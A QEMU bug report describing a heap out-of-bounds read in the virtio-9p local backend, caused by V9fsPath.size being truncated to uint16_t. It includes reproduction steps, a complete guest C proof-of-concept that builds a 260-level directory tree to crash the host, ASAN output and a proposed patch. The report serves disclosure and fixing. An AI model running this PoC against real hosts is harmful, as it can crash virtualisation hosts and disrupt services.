9pfs V9fsPath.size uint16_t Truncation Causing Heap OOB Read

Host environment

  • Operating system: Linux (Ubuntu 22.04)
  • OS/kernel version: 5.15.0-171-generic x86_64
  • Architecture: x86_64
  • QEMU flavor: qemu-system-x86_64
  • QEMU version: v10.2.90 (commit 8e711856, master)
  • QEMU command line:
    qemu-system-x86_64 \
        -M pc -m 256M -nographic \
        -kernel bzImage \
        -initrd rootfs.cpio \
        -append "console=ttyS0 panic=-1 quiet" \
        -fsdev "local,id=myfs,path=/tmp/9pshare,security_model=none" \
        -device "virtio-9p-pci,fsdev=myfs,mount_tag=hostshare"

Emulated/Virtualized environment

  • Operating system: Minimal Linux with busybox
  • OS/kernel version: Linux 6.19.9 x86_64
  • Architecture: x86_64

Description of problem

Heap buffer overflow (OOB read) in the 9pfs (virtio-9p) local backend due to V9fsPath.size being declared as uint16_t.

In fsdev/file-op-9p.h, V9fsPath.size is uint16_t. In v9fs_path_sprintf() (hw/9pfs/9p.c:214), the return value of g_vasprintf() (an int) is assigned to this uint16_t, silently truncating paths longer than 65535 bytes. When v9fs_path_copy() (hw/9pfs/9p.c:222) later duplicates the path using the truncated size, it creates a tiny allocation (e.g., 2 bytes for a ~66KB path). Any subsequent operation that reads the path as a C string (e.g., strrchr in local_lstat at hw/9pfs/9p-local.c:189) reads past the allocation boundary.

A guest with a mounted 9p share can create a ~260-level deep directory tree with 255-character directory names (total path ~66KB), then walks into it via openat(). The path accumulation happens in local_name_to_path() (hw/9pfs/9p-local.c:1275). When the path exceeds 65535 bytes, the truncation occurs. A subsequent getattr (triggered by readdir/fstat) on the deep fid calls local_lstat() which performs g_path_get_dirname() on the 2-byte buffer, causing the OOB read.

The OOB read scans heap memory adjacent to the truncated allocation. On ASAN builds, this is detected as a heap-buffer-overflow. On non-ASAN builds, because the OOB read bytes are never returned to the guest machine, it can only cause crashes (DoS). Additionally, the truncated path size causes v9fs_path_is_ancestor() to produce false positive matches, which can corrupt fid paths during rename operations.

Steps to reproduce

  1. Build QEMU with AddressSanitizer:

    mkdir build && cd build
    ../configure --enable-sanitizers --target-list=x86_64-softmmu
    make -j$(nproc)
  2. Prepare a guest with a statically-linked PoC binary (source below) and a kernel with CONFIG_NET_9P_VIRTIO=y, CONFIG_9P_FS=y, CONFIG_VIRTIO_PCI=y.

  3. Create an empty directory for the 9p share:

    mkdir /tmp/9pshare
  4. Launch QEMU with a 9p filesystem share:

    qemu-system-x86_64 \
        -M pc -m 256M -nographic \
        -kernel bzImage \
        -initrd rootfs.cpio \
        -append "console=ttyS0 panic=-1 quiet" \
        -fsdev "local,id=myfs,path=/tmp/9pshare,security_model=none" \
        -device "virtio-9p-pci,fsdev=myfs,mount_tag=hostshare"
  5. Inside the guest, the PoC:

    • Mounts the 9p share: mount -t 9p hostshare /mnt -o trans=virtio,version=9p2000.L
    • Creates a 260-level deep directory tree with 255-char names via mkdirat()
    • Walks from /mnt into the tree via openat() (each step accumulates the path)
    • Calls fdopendir()/readdir() at max depth, triggering getattrlocal_lstat
  6. ASAN detects heap-buffer-overflow in strrchr called from g_path_get_dirname in local_lstat.

Guest PoC source (poc_9pfs_walk.c)

Compile with: musl-gcc -static -O2 -o poc_9pfs_walk poc_9pfs_walk.c

#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
#include <errno.h>

#define DEPTH 260
#define NAMELEN 255

static void puts_str(const char *s) {
    write(1, s, strlen(s));
    write(1, "\n", 1);
}

static void puts_int(const char *prefix, int val) {
    char buf[32];
    int i = 0;
    write(1, prefix, strlen(prefix));
    if (val < 0) { write(1, "-", 1); val = -val; }
    if (val == 0) { write(1, "0", 1); }
    else {
        while (val > 0 && i < 30) { buf[i++] = '0' + (val % 10); val /= 10; }
        while (--i >= 0) write(1, &buf[i], 1);
    }
    write(1, "\n", 1);
}

int main(void) {
    int fd, newfd, depth, ret;
    DIR *dir;
    struct dirent *ent;
    char dirname[256];

    puts_str("[*] 9pfs V9fsPath.size truncation OOB PoC");

    mkdir("/mnt", 0755);
    ret = mount("hostshare", "/mnt", "9p", 0,
                "trans=virtio,version=9p2000.L");
    if (ret < 0) {
        ret = mount("hostshare", "/mnt", "9p", 0, "trans=virtio");
        if (ret < 0) { puts_str("[!] Mount failed"); return 1; }
    }
    puts_str("[*] 9p share mounted at /mnt");

    memset(dirname, 'A', NAMELEN);
    dirname[NAMELEN] = '\0';

    fd = open("/mnt", O_RDONLY | O_DIRECTORY);
    if (fd < 0) { puts_str("[!] open /mnt failed"); return 1; }

    /* Create 260-level deep directory tree over 9p */
    for (depth = 0; depth < DEPTH; depth++) {
        ret = mkdirat(fd, dirname, 0755);
        if (ret < 0 && errno != EEXIST) break;
        newfd = openat(fd, dirname, O_RDONLY | O_DIRECTORY);
        if (newfd < 0) break;
        close(fd);
        fd = newfd;
    }
    close(fd);

    /* Walk from root to trigger path accumulation + truncation */
    fd = open("/mnt", O_RDONLY | O_DIRECTORY);
    for (depth = 0; depth < DEPTH; depth++) {
        newfd = openat(fd, dirname, O_RDONLY | O_DIRECTORY);
        if (newfd < 0) break;
        close(fd);
        fd = newfd;
    }

    /* List directory → triggers getattr → OOB read */
    dir = fdopendir(fd);
    if (dir) {
        while ((ent = readdir(dir)) != NULL) {}
        closedir(dir);
    } else {
        close(fd);
    }

    umount("/mnt");
    return 0;
}

Additional information

ASAN output

==1580914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200012d0d2 at pc 0x555722f8a06f bp 0x7f4d4fdff9d0 sp 0x7f4d4fdff198
READ of size 3 at 0x60200012d0d2 thread T3
    #0 0x555722f8a06e in __interceptor_strrchr (qemu-system-x86_64+0x97a06e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449)
    #1 0x7f4de8a8e77b in g_path_get_dirname (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x3f77b) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)
    #2 0x55572322c63e in local_lstat hw/9pfs/9p-local.c:189:21
    #3 0x555723267973 in v9fs_co_lstat hw/9pfs/cofile.c:59:5
    #4 0x5557232455b1 in v9fs_getattr hw/9pfs/9p.c:1637:18
    #5 0x5557249f148d in coroutine_trampoline util/coroutine-ucontext.c:175:9
    #6 0x7f4de75ac12f  stdlib/../sysdeps/unix/sysv/linux/x86_64/__start_context.S:90

0x60200012d0d2 is located 0 bytes to the right of 2-byte region [0x60200012d0d0,0x60200012d0d2)
allocated by thread T0 here:
    #0 0x555722ff594e in malloc (qemu-system-x86_64+0x9e594e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449)
    #1 0x7f4de8aad738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)

Thread T3 created by T0 here:
    #0 0x555722fde6dc in pthread_create (qemu-system-x86_64+0x9ce6dc) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449)
    #1 0x5557249987ee in qemu_thread_create util/qemu-thread-posix.c:454:11
    #2 0x5557249f6719 in do_spawn_thread util/thread-pool.c:150:5
    #3 0x5557249f6382 in spawn_thread_bh_fn util/thread-pool.c:158:5
    #4 0x5557249e1fbf in aio_bh_call util/async.c:173:5
    #5 0x5557249e275a in aio_bh_poll util/async.c:220:13
    #6 0x555724985755 in aio_dispatch util/aio-posix.c:390:5
    #7 0x5557249e6648 in aio_ctx_dispatch util/async.c:365:5
    #8 0x7f4de8aa4d3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)

SUMMARY: AddressSanitizer: heap-buffer-overflow (qemu-system-x86_64+0x97a06e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449) in __interceptor_strrchr
Shadow bytes around the buggy address:
  0x0c048001d9c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048001d9d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048001d9e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048001d9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048001da00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c048001da10: fa fa fa fa fa fa fd fa fa fa[02]fa fa fa fd fa
  0x0c048001da20: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
  0x0c048001da30: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c048001da40: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c048001da50: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c048001da60: fa fa fd fd fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1580914==ABORTING

The 2-byte region [0x60200012d0d0,0x60200012d0d2) confirms the truncated size: the full path is ~66048 bytes, but uint16_t truncation reduces size to 2, so g_memdup() allocates only 2 bytes containing "./". strrchr then scans past this into freed heap regions (fd shadow bytes).

Suggested fix

Change V9fsPath.size from uint16_t to uint32_t:

struct V9fsPath {
    uint32_t size;    /* was: uint16_t */
    char *data;
};

Or add overflow detection in v9fs_path_sprintf():

void v9fs_path_sprintf(V9fsPath *path, const char *fmt, ...)
{
    va_list ap;
    int len;
    v9fs_path_free(path);
    va_start(ap, fmt);
    len = g_vasprintf(&path->data, fmt, ap) + 1;
    va_end(ap);
    if (len > UINT16_MAX) {
        g_free(path->data);
        path->data = NULL;
        path->size = 0;
        return; /* or return error */
    }
    path->size = len;
}